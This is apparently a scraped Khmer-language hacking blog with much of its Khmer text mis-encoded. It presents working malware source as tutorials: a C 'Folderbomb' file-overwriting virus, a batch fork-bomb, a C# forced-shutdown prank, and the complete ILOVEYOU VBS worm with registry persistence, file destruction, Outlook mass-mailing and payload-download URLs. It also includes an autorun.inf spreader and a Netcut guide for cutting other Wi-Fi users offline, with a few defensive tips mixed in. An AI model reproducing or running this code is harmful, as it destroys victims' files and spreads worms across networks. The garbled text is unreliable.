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expand source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include #include #include #include #include void main(int argc,char* argv[]) { char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf(”————————————————————————–”); printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”); cprintf(”————————————————————————–”); done = findfirst(”*.*”,&ffblk,0);

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while (!done) { printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”); source=open(argv[0],O_RDONLYO_BINARY); target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

• រតមបដ់�លដបេទផទដេន ពណដ៏កនោដគេលដអអដេព�េរតិបេទផបដ់ដនវលផ BAT (.bat) ឧញងបណន folderinfolder.bat

• េបេងនដគសងរតមេលេពីបដងេគេេបប៉លោនិបេយធី៤២បអត��ពគយលរុតតវេ�៕

ញ�ផដដតដ #include

#include

#include

#include

#include

void main(int argc,char* argv[])

{ char buf[512];

int source,target,byt,done;

struct ffblk ffblk;

clrscr();

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textcolor(2);

cprintf(”————————————————————————–”);

printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);

cprintf(”————————————————————————–”);

done = findfirst(”*.*”,&ffblk,0);

while (!done)

{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);

source=open(argv[0],O_RDONLYO_BINARY);

target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);

while(1)

{byt=read(source,buf,512);

if(byt>0)

write(target,buf,byt);

else

break;

}

close(source);

close(target);

done = findnext(&ffblk);

}

getch();

}

ប

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បេង�តបa trojan virus ោដគពេដៈេណ បកបកនប១០០%

កគបប រេេច�ទដក់ផ្បោយរីងប15, 2011 នរពន�អត�ប�េទផ្បងបតត

េេេពគេត�េៈណងេជង រតមេលដអអដដលៈផគុេគៈរបេយធី៤២បបេុង�នប់េលដអអដេេពបេង�តប

េមេរប់េនពទ ណត េបមរនោមនេ�បុរនេងបង �េលដអអដនតវដៈេណ បកបបៃនដតដបបរេមេរ ោត

ប៉លេណា ពេ

ោដគេលដអអដពេបេង�តបa trojan virus កនេទផងផមពផននងបNotepad េទផេុបុករបដតដន

ម��់បៈកលតទ

រតមតមទននតវបេប�បបេង�តដតេសងេុកមី

10. េបដបNotepad

11. េម�ងដតដសងេុកម

expand source cd c:\windows\system32 for %%a in (*) do start iexplore.exe for %%a in (*) do start iexplore.exe

12. េលេបFile (menu) => Save => ទដេន ពរបkt42.bat => បពេេលេប៊តតលងបSave កបេតរេ៕

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បេង�តេមេរបរ�ដលៈព ព់�យបរ�យផុបវតិរបតមបC#

កគបប រេេច�ទដក់ផ្បោយរីងប15, 2011 នរពន�អត�ប�េទផ្បងបតត ពីណ់បដ៏នអបេមេរោដបបប៉លោនេិយពេងតលអីកនបេយធី៤២បេេោតបង �នតវវ រធីនសរបិេង�តេម

េរបដលៈព ព់�យបបេ��ត?

រតមេលដអអដដលៈឧរ់ងនឆ�គអីោបបងអនងេ��តទ តមពរតបេយធី៤២បមរនោមនពតោដអ�ីេេពេ�បុរនោតប

េតគេរតតិនវុវ េងផផដមដបង �េលដអអដោតប៉លេណា ពទបេដមសបី់េលដអអដផគនតវដៈេណ បកប

ៃនដតដបបរេមេរបននងងផតរសគយតោេងបេង�តដមនវ រធីដៈយត (Antivirus) ទ

ណេងផេេេ

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ទបរ៉ផរ៉បបេក៉ោឡបប៉លនងអនងេេេលពបរតមតមទននតវវ រធីបេង�តេមេរបរ�ដលៈព ព់�យបេទផរ�យផុបវតិរប

តមភនបC# ដតេតេេ្

1. េបដដមនវ រធីបMicrosoft Visual C# 2. េលេបFile (menu) => New Project

3. រតមអនលវតិននតមបដបយបបតបងបដតេបតបសងេុកម 4. បេវ បមដរបេរបបឬេម�ងដតដបសងេុកមConsole.WriteLine(“េមេរុតតវកនឆ�ង

េងផេ”);

expand source 1 2 3 System.Diagnostics.Process.Start("shutdown -s -f -t 20 -c\"Victim of my virus!!\"");//កូដេនះេ្របើ្្រមដបេដបេណេរshutdown.exe Console.WriteLine("កុបព យ្�ទេេរើមេេកាកក្ក្រតនរប�េបិទេេាេសាេេបិរា); Console.ReadKey();

5. េលងេុកផេលេបF5 េដមសីដៈេណ បកបបីRun) េមេរបកបេតរេ៕ េលេ�ីេនពេ េដមសញី�ផដដតដ

េលេ�ីេនពេ េដមសដីៈេណ បេមេរ (ដៈេណ បកបកនគលពុតោតមនប.net Frame Work

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ប�ា ដ្បេយធី៤២បអត��ពគយលរុតតវេៈេរពកបឆ�ងេតគម៉រលនីបបរេលដអអដេ�

អត�បេក្ង់េ��តប

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បេង�តេមេរបI LOVE U ដអលងបVBS

កគបប រេេច�ទដក់ផ្បោយរីងប15, 2011 នរពន�អត�ប�េទផ្បងបតត

មលនេលដអអដពនអត�ប�េនពបរតមដលៈផគុេឡៈបមរនោមនបង �ប់េេពបេង�តេមេរដលៈព ព់�យបេ�បឺ

បង �ប់ដនងពីដតដបោដគេមេរដៈេណ បកបោតប៉លេណា ពទ

េមេរោដគមនេន ពពបប់តរឡ�របI LOVE U េនពបេធ�ប់ពរេពេលដបយតេសត កតបងដលៈព ព់�យបប

អរេុេនេុបងបពរេររអរ�នដុកដរបបផលនដលល� បទ

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េងតលដតេេេអពេងផកនបេយធី៤២បបង �នតវដតដ បបរបេដមសបី់បណត ុដកមង៊លនធៈ់ញៈងឡផបរប

េរបដមនវ រធីដៈយតេមេរ (Antivurus) េដមស�ីប�គុបឆៈងមពផទ

េមេរមពផេនពបភេុេនឆ�ងតមបផ្បនបេអឡរេុតតនរេប E-mail)

រតមេលេ�ីេនពេ េដមសីេេេមគដតដបបរបI LOVE U

Loveletter virus source code Below is the text of the pathetic LoveLetter "virus", for anyone who's interested. It has been reformatted as an plain text/HTML file, so there's no need to worry about being infected by it. For God's sake, don't copy the text into a .VBS file and run it, espescially if you have installed any new MSIE (this little bugger will wipe out your MP3s!!) Editor's note: If you're going to write a virus, use a REAL language (assembler)!! Maybe C if you're desperate...

rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main()

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On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate

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"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC

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will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

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set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var

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hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^ -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub

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ដៈេណពតនផេពគេមេរលដបីhidden) ឯដនប

កគបប រេេច�ទដក់ផ្បោយតលលប9, 2011 នរពន�អត�ប�េទផ្បងបតត េបេផងនរយផពីេមេរដលៈព ព់�យបបអអដណដ៏មរនេតគេរតោិដប (មនោត េយធី៤២ ប៉លេណា ពី

ប៉លោនិុបររនេបកនឆ�ងេតគដលៈព ព់�យបេេេងផេតេផងុតតវបង� បយ៉ងដតេេមិេ?

ោរ�ងផគពីេមេរដលៈព ព់�យប េលេ�ីេនពប…

ប៉លោនិមនុបេេ�េមេរម៉្ងោដគកនលដ (Hide) ឯដនបបឬបFolder បបរេលដអអដបេបេញពបី

អអដេទពបHide តមបFolder Option ដ៏េទផបដ៏មរនពេបង �កនោដបទ

េយធី៤២ រតមបង �នតវដមនវ រធីមពផោដគមនេន ពរបKT42_Attribute Change ោដគពេេទព

តនផនតវប� សងេគេនពកនទ

បេប�បេុបុករ

1. ដៈបតងរតមដៈេឡងដមនវ រធីមលនររន េលេ�ីេនព េដមសីញ�ផដ 2. បេវ បមដរតមេបដបWindows Explorer (Windows+E េេេគប

Keyboard)

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3. េលេេគរដ់បOrganize => Folder and search Options

េបដេមគឯដនបេេេពគេមេរលដ

4. បេវ បមដេលេេគបView (Tab) => េុជរេប រផដបShow hidden files, folders, and drives => រតមេទពធីដេគរដ់បHide empty drives in the Computer folder េេ�ប)> េងផេលេប៊តតលងបOK

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5. បេវ បមដេ��តបេលេេម៉និៈបេគបFile ឬបFolder ណោដគបបHidden => Change Attributes…

6. បេវ បមដេ��តរតមេទពធីដេគរដ់បHidden => េលងេុកផរតមេលេេគប៊តតលងបOK កបេតរេ

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ប�ា ដ វ រធីនសរសិងេគេនពអនលវតិកនោតឯដនបណបោដគេមេរកនផុបងបោតប៉លេណា ព

ុបររនេបឯដនបោដគេលដអអដលដេទផយ�ពនឯងប េម៉និៈេគឯដនបប)> Properties => ធីដេគប

Hidden => OK ) មរនមនុបររ��រភពេ�៕

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កបរបមរនប់េមេរឆ�ងតមបUSB

កគបប រេេច�ទដក់ផ្បោយរីងប15, 2011 នរពន�អត�ប�េទផ្បងបតត េមេរោតងោតបេង�ត autorun.inf េេដអលងបDirectory េដមៃនបUSB បបរេលដអអដទ េេេពគណោដគ

េលដអអដេទតបUSB េតគបេពគេេពេមេរននងឆ�ងេតគេេដអលងបWindows េទផរ�យផុបវតិរបោដគ

មនេន ពរបautorun.inf ទ

េងផេេេពគណោដគេលដអអដេលេពីបដងបេដមសីបFile េេពបេេពេលដអអដននងេត�អដ្បរ្

[autorun]

open=virus.exe

icon=diskicon.ico

វ រធី�បន� ត

េដមសីបdisable កបបតេតគេទផរ�យផុបវតិរបautorun រតមេលដអអដអនលវតិមពផបេយធី៤២បដតេសងេុក

ម្

1. េលេបCtrl+R => បពេផរដ់បregedit => Enter

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2. រតមេតគេេកនប

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurentVersion\Policies\Explorer

3. បេវ បេលេពីបដងេគបNoDriveTypeAutoRun េេុតងបValue

Data ផរដ់បFF => បពេេលេបOK កបេតរេ៕

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កបរបដលៈព ត់�យបបបរអអដពីេមេរ

កគបប រេេច�ទដក់ផ្បោយធអតប1, 2011 នរពន�អត�ប�េទផ្បម៉មបប��

រន នអ�ីពេធេពីរលវត�រភពដលៈព ត់�យបបបរអអដកនប១០០%បេេពេ�បទ

អអដពេបេង�ននតវរលវត�រភពេេេពផដលៈព ត់�យបបបរអអដ នរងកបបន�ផកបេុជ�តេតគបបរេមេរេទផ

េុបបfirewall, update ុបពនលយដៈេណ បកបបបរដលៈព ត់�យបប Windows, Mac OS ឬបLinux) នរង ដមនវ រធីដៈយតេម

េរេពផកន�នដញប នរងអនលវតិននតមេៈនលេមពផេៈនពនដតេសងេុកម្

េៈេៈី េទផនបោតរន នវ រធីដអលងកបកបរបដលៈព ត់�យបពីេមេរកនប១០០%បេេព េលដអអដពបោតេធ�កបប

backup ឯដនបរៈសន់បបរេលដអអដេដមសកីបរបកបកតបងណមពផបទ

វ រធីេដមសជីពផេពផដលៈព ត់�យបបបរអអដេជ�រកលតពីេមេរ្

១.បេុបបInternet firewall (មនរ�ផយុបវតិរមពផបWindows XP SP2)

២.បេបដបautomatic updating

៣.បដៈេឡងដមនវ រធីោថបដ់ដលៈព ត់�យប នរងដៈយតេមេរដតេបWindows Live OneCare (េងផេពផដមនវ រធី

ញៈងេេពដៈេនបកបេទផរ�យផុបវតិរននេពគោដគដលៈព ត់�យបេបដ ”StartUp”)

៤.បដលៈេបដបe-mail attachment ពីបល�គោដគេលដអអដមរនន� គ

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៥.បេជ�រងកបេបដបe-mail attachment េញពបីេលដអអដន� គបe-mail េេពដ៏េទផបេគដោគងោត

អអដដនងេ រពីបattachment េេពបទបអអដេក�ពេ��ពគកបផគលដពីេមេរប៕

វ រធី�បន� តកបឆ�ងេមេរបេពគដៈពលងបdownload

កគបប រេេច�ទដក់ផ្បោយរីងប19, 2011 នរពន�អត�ប�េទផ្បងបតត

ុបររនេបដលៈព ត់�យបបបរេលដអអដរន នដមនវ រធីដៈយតេមេរេ� េេពងផតរសគនរងឆ�ងេមេរពីអលីនធឺ

ណរ តណរបយណ្េពគោដគេលដអអដដៈពលងញ�ផដ (Donwnload) ទ

ដតេេនពេដមសីកបរបកបឆ�ងេមេរេផងុតតវអនលវតិតមវ រធីសងេុកម្

1. េលេបCtrl+R => ផរដ់បgpedit.msc => OK

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2. រតមេតគេេកន

User Configuration\Administrative Template\Windows Component\Internet Explorer បេវ បមដ

រតមេមគេេោកអដសងនិៈបពេប ៈដរគមដេុកម ននងេត�បរដ់បConfigure Outlook Exprees

េងផេលេពីដងេគ បេវ បមដេលតផវ ៈងដតេសងេុកម

3. េេេគផវ ៈងេនពរតមេលេផដបOption Enable បពេធរដផដបBlock attachmets that could contain a virus

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4. បេវ បមដេលេបOK េេពកបេតរេ៕

បេប�បបរ�នរងេបដមលយងបបLibraries ដអលងបWindows 7

យ�លៈរតមបង �ពីបេប�បបរ�ប ឬដ៏េបដមលយងបបបរបLibrariesទ Libraries ឺបេប�បុបមតគឯដនបេេដអលងដលៈព ត់�យបបេប�បថនី ផដមដបង �េេដោន�ងោតមពផោដគយ�លៈ នរងអអដញៈងអររអ មរនរតវផគនរងេេពេុបដតេេនព េតេងបរ�ោដបឬេ�?? ទបLibraries មនេេឯណ? ឺមនបង �េពផេផងេុបប េេេពគេផង

េបដដមនវ រធីបWindows Explorer មនេេបង �ដតេដអលងបតបសងេុកមេនពី

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បេប�បបរ�មលយងបបLibraries េេដអលងបWindows 7

ុបររនេបអអដមរនេងេុបេ�ប េងផេងបរ�េេពប រតមញ�ផដឯដនប Disable Libraries Registry Hack បពេពេ� បីextract)ទ - បេវ បមដប េលេពីបដងប ីdouble-click) េគឯដនបោដគមនេន ពប DisableLibrariesFeature.reg - រតមបរ�ផវ ៈងដមនវ រធីបExplorer ញៈងអរបបពេបLogoff នរងបLogin ដលៈព ត់�យបមដវ រ�ទ - េបដ Explorer េទផេលេបKey Win+E េេពអអដននងោគងកនេត�បLibraries េ��តេងផទបរតមេមគបតបសងេុកមី

បេប�បេបដមលយងបបLibraries េេដអលងបWindows 7បវ រ� មរនពរកដេ�ប ុរនោតេលេពីបដងប ីdouble-click) េគឯដនបោដគមនេន ព EnableLibrariesFeature.reg បពេបLogoff នរងបLogin ដលៈព ត់�យបមដវ រ�កបេតរេទ => ញ�ផដ Disable Libraries Registry

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ញ�បSpeed internet េុបោតឯង

0 inShare

អត�ប�េលពក់ផេទផ េលដបLychanraksmey រតមេលេប“Like” េបេលដអអដេព�េរតិបឬបោន�មមតរុបររនេបអអដ

មរនេព�េរតិ

រពរិីបងបសតនុបរផមរតិ រៈបលដពផធី ញៈងអររអ បៃថ�េនព រៈបលដពផធី កនេៈផដនតវវ រធីម្៉ងបោដគពេផិេបInternet អអដដៃ�បេដមសីញ�ផដបspeed Internet បបរបWifi មដេុបុករោតឯងបេេតមបណិងងបcoffee shop េេ េដមទ រៈបលដពផធី រតមេគដផដមនវ រធីមពផេន ពរបNetcut ោដគពេបdownload កនេទផេរប ីេេ�ីេនពទបេតពេបរតមយបេកិមញៈងអររអ ទ

េុកផេពគបdowload នរងដៈេឡងប setup) បពេបរតមយបេកិមនតវដមនវ រធីបNetcut Administratorទ បេវ បមដដមនវ រធីននងោរ�ងបដបរេតមនបអអដណបយ�ពដៈពលង េុបុករបInternet ដអលងបWifi ោដគេផងដៈពលងេុប

បេវ បមដរតមេុជរេប រផដបបHostname ញៈងឡផណោដគអអដេងបរ�ប ផិេបinternet ) បពេេលេប៊តតលងបCut Off (Ready)

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េៈេៈ្ Hostname បបរយ�លៈឺបHP-PC.digi… ដតេេនពេគយបIP Address ោដគមន�ៈបងដតេដ�អលងបង�ងសងេគេនពឺប

បបរអអដយ�ពនឯងេ� ដតេេនពរតមដលៈបCut Off ទបម្៉ងេ��តអអដដ៏ពេេបដ់អអដដៃ�បេុបុករ Internet វ រ�កនោដបប

េទផេុជរេប របHostname ោដគេងេបដ់េុបវ រ�បបពេេលេប៊តតលង Resumeទ

Warning: កបោណេៈពីដមនវ រធីេនពឺុរនោត�លដឯដនបបនរងដអលងបៈណងរុមបកបររដ់តនវុវប៉លេណា ពបដតេ

េនព រៈបលដពផធី ននង មរនប��ពគយលរបុតតវេគរគប� បោដគពេេដតមនេឡងេេពេ�បDo it at your own risk. ដមនវ រធីេនពុតតវកនេតរនិដគសងបេត�របមនបុបររ�រ�ភពបពរតោមនបេទផ Laptop Acer + Asus + Wifi Mastergrill.

មពផរអ េនពោដប រៈបលដពផធី ដ៏រតមោណេៈដមនវ រធីមពផរុមបបកបរបពីដមនវ រធីបNetcut េនពោដគមនេន ពរប

Netcut defender ោដគពេ download កនេេ�ីេនពទបដមនវ រធីេនពោថមញៈងពេកបរបអអដពី ARP SPOOFIng attack េ��តកងទ

រុមបអត�ប�ន�នពគស់ េុេនេ��តបរតមបងយៈពនបនិេ��តមពផ រៈបលដពផធីទ

បេប�បដនឮបោយ្Net work

បេប�បដនបោយ្បNetwork េពផកនគស

0 inShare អត�ប�េលពក់ផេទផ េលដបណមបដបលណ រតមេលេប“Like” េបេលដអអដេព�េរតិបឬបោន�មមតរ

ុបររនេបអអដមរនេព�េរតិ

រពរិីុបរផមរតិបរៈបលដពផធី ញៈងអររអ បេពគេនពយ�លៈរតមេគដបង �បងបសតនអៈពីបកបដនបោយ្បNetwork

េដមសីេពផកនគសបនរងបេុបកនផតបទបអត�ប�េនពបននងមនុបេយជនន រៈរបអអដោដគេងេប�នុបពយន�

បណិ�បេងផេនពបដ៏ដៈប រតបដៈបតងោដគ ពបផគដនងអៈពីកងោដបទ

ដតេេអពរតមយបេកិមមពផយ�លៈបដៈបតងមលនននងដនបោយ្បNetwork េផងពបោតដនងរបេតេផងេងដនបរៈរបបត

ពីឧបដបណន ណេេបឧបដបណន ណ? េងផុតតវកបេៈងផប៉លេន ន?

————————

សងេុកមេនពុបេេ�ៃនកបដនបភ

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១ប.Straight Through Cable:

េេុបរៈរបបឧបដបណន កវលផរអ ទ

ឧញងបណន ភបHub េេបSwitch, Switch េេបComputer, បបឺRouter េេបComputerទ

២ប.Cross Over Cable:

េេុបរៈរបបឧបដបណន ដតេរអ បបបឺរៈរបដៈេណ បកបដអលងបPeer to peer េទផមរនេៈកេេុបបឧបដបណន ប

Hub, Switch……ទ

ឧញងបណន ភបComputer េេបComputer, Patch panel េេបPatch panel, Switch េេបSwitch………..ទ

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ឧបដបណន រៈរបេធ�កបដនបោយ្បNetwork បពមមនភ

១.បោយ្បបNetwork UTP (unshielded twisted pair) Cat 5, 5e or 6( Cat 6 recommended) ទ

